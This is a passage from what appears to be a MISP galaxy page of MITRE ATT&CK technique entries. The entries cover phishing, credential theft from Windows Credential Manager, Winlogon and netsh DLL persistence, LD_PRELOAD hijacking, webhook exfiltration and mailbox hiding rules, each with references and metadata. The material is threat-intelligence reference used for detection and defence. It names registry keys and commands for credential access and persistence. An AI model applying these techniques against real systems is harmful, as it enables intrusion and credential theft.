A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
Internal MISP references
UUID f6ad61ee-65f3-4bd0-a3f5-2f0accb36317 which can be used as unique global reference for Spearphishing via Service - T1566.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1566.003 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Delete Cloud Instance - T1578.003
An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.
An adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
Internal MISP references
UUID 70857657-bd0b-4695-ad3e-b13f92cac1b4 which can be used as unique global reference for Delete Cloud Instance - T1578.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1578/003 - webarchive
- https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/ - webarchive
- https://cloud.google.com/logging/docs/audit#admin-activity - webarchive
- https://content.fireeye.com/m-trends/rpt-m-trends-2020 - webarchive
- https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578.003 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Instance: Instance Deletion', 'Instance: Instance Metadata'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Code Signing Certificates - T1588.003
Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
Prior to Code Signing, adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.
Internal MISP references
UUID e7cbc1de-1f79-48ee-abfd-da1241c65a15 which can be used as unique global reference for Code Signing Certificates - T1588.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1588.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
NTFS File Attributes - T1564.004
Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
Internal MISP references
UUID f2857333-11d4-45bf-b064-2c28d8525be5 which can be used as unique global reference for NTFS File Attributes - T1564.004 in MISP communities and other software using the MISP galaxy
External references
- http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html - webarchive
- http://msdn.microsoft.com/en-us/library/aa364404 - webarchive
- https://attack.mitre.org/techniques/T1564/004 - webarchive
- https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - webarchive
- https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ - webarchive
- https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ - webarchive
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ - webarchive
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ - webarchive
- https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea - webarchive
- https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.004 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Winlogon Helper DLL - T1547.004
Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.
Internal MISP references
UUID 6836813e-8ec8-4375-b459-abb388cb1a35 which can be used as unique global reference for Winlogon Helper DLL - T1547.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.004 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Windows Credential Manager - T1555.004
Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.
Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
Internal MISP references
UUID d336b553-5da9-46ca-98a8-0b23f49fb447 which can be used as unique global reference for Windows Credential Manager - T1555.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1555/004 - webarchive
- https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store - webarchive
- https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea - webarchive
- https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials - webarchive
- https://www.passcape.com/windows_password_recovery_vault_explorer - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.004 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Network Device Authentication - T1556.004
Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)
Internal MISP references
UUID fa44a152-ac48-441e-a524-dd7b04b8adcd which can be used as unique global reference for Network Device Authentication - T1556.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1556/004 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 - webarchive
- https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 - webarchive
- https://www.mandiant.com/resources/synful-knock-acis - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.004 |
| kill_chain | ['attack-Network:credential-access', 'attack-Network:defense-evasion', 'attack-Network:persistence'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Hidden File System - T1564.005
Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)
Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
Internal MISP references
UUID dfebc3b7-d19d-450b-81c7-6dafe4184c04 which can be used as unique global reference for Hidden File System - T1564.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/005 - webarchive
- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf - webarchive
- https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html - webarchive
- https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html - webarchive
- https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.005 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Modification', 'Firmware: Firmware Modification', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Security Support Provider - T1547.005
Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.
The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
Internal MISP references
UUID 5095a853-299c-4876-abd7-ac0050fb5462 which can be used as unique global reference for Security Support Provider - T1547.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.005 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Run Virtual Instance - T1564.006
Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)
Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
Internal MISP references
UUID b5327dd1-6bf9-4785-a199-25bcbd1f4a9d which can be used as unique global reference for Run Virtual Instance - T1564.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/006 - webarchive
- https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/ - webarchive
- https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/ - webarchive
- https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.006 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Image: Image Metadata', 'Process: Process Creation', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Netsh Helper DLL - T1546.007
Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
Internal MISP references
UUID f63fe421-b1d1-45c0-b8a7-02cd16ff2bed which can be used as unique global reference for Netsh Helper DLL - T1546.007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.007 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Dynamic Linker Hijacking - T1574.006
Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)
On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage Dynamic Linker Hijacking to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.
On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass)
Internal MISP references
UUID 633a100c-b2c9-41bf-9be5-905c1b16c825 which can be used as unique global reference for Dynamic Linker Hijacking - T1574.006 in MISP communities and other software using the MISP galaxy
External references
- http://hick.org/code/skape/papers/needle.txt - webarchive
- http://phrack.org/issues/51/8.html - webarchive
- http://www.nth-dimension.org.uk/pub/BTL.pdf - webarchive
- https://attack.mitre.org/techniques/T1574/006 - webarchive
- https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/ - webarchive
- https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html - webarchive
- https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191 - webarchive
- https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/ - webarchive
- https://www.baeldung.com/linux/ld_preload-trick-what-is - webarchive
- https://www.datawire.io/code-injection-on-linux-and-macos/ - webarchive
- https://www.man7.org/linux/man-pages/man8/ld.so.8.html - webarchive
- https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.006 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Exfiltration Over Webhook - T1567.004
Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.
Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)
Access to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)
Internal MISP references
UUID 43f2776f-b4bd-4118-94b8-fee47e69676d which can be used as unique global reference for Exfiltration Over Webhook - T1567.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1567/004 - webarchive
- https://blog.talosintelligence.com/collab-app-abuse/ - webarchive
- https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md - webarchive
- https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191 - webarchive
- https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks - webarchive
- https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord - webarchive
- https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/ - webarchive
- https://www.redhat.com/en/topics/automation/what-is-a-webhook - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1567.004 |
| kill_chain | ['attack-Windows:exfiltration', 'attack-macOS:exfiltration', 'attack-Linux:exfiltration', 'attack-SaaS:exfiltration', 'attack-Office-365:exfiltration', 'attack-Google-Workspace:exfiltration'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'SaaS', 'Office 365', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Email Hiding Rules - T1564.008
Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule PowerShell cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).
Internal MISP references
UUID 0cf55441-b176-4332-89e7-2c4c7799d0ff which can be used as unique global reference for Email Hiding Rules - T1564.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/008 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps - webarchive
- https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps - webarchive
- https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules - webarchive
- https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac - webarchive
- https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59 - webarchive
- https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154 - webarchive
- https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.008 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Google-Workspace:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Modification'] |
| mitre_platforms | ['Windows', 'Office 365', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Revert Cloud Instance - T1578.004
An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
Internal MISP references
UUID 0708ae90-d0eb-4938-9a76-d0fc94f6eec1 which can be used as unique global reference for Revert Cloud Instance - T1578.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578.004 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Instance: Instance Metadata', 'Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Network Provider DLL - T1556.008
Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local mpnotify.exe process via RPC. The mpnotify.exe process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)
Adversaries can configure a malicious network provider DLL to receive credentials from mpnotify.exe.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the NPLogonNotify() function.(Citation: NPLogonNotify)
Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)
Internal MISP references
UUID 90c4a591-d02d-490b-92aa-619d9701ac04 which can be used as unique global reference for Network Provider DLL - T1556.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1556/008 - webarchive
- https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy - webarchive
- https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify - webarchive
- https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api - webarchive
- https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy - webarchive
- https://www.youtube.com/watch?v=ggY3srD9dYs - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.008 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_data_sources | ['File: File Creation', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Conditional Access Policies - T1556.009
Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.
For example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain condition attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.
By modifying conditional access policies, such as adding additional trusted IP ranges, removing Multi-Factor Authentication requirements, or allowing additional Unused/Unsupported Cloud Regions, adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.
Internal MISP references
UUID ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae which can be used as unique global reference for Conditional Access Policies - T1556.009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1556/009 - webarchive
- https://cloud.google.com/iam/docs/conditions-overview - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html - webarchive
- https://jumpcloud.com/support/get-started-conditional-access-policies - webarchive
- https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview - webarchive
- https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1556.009 |
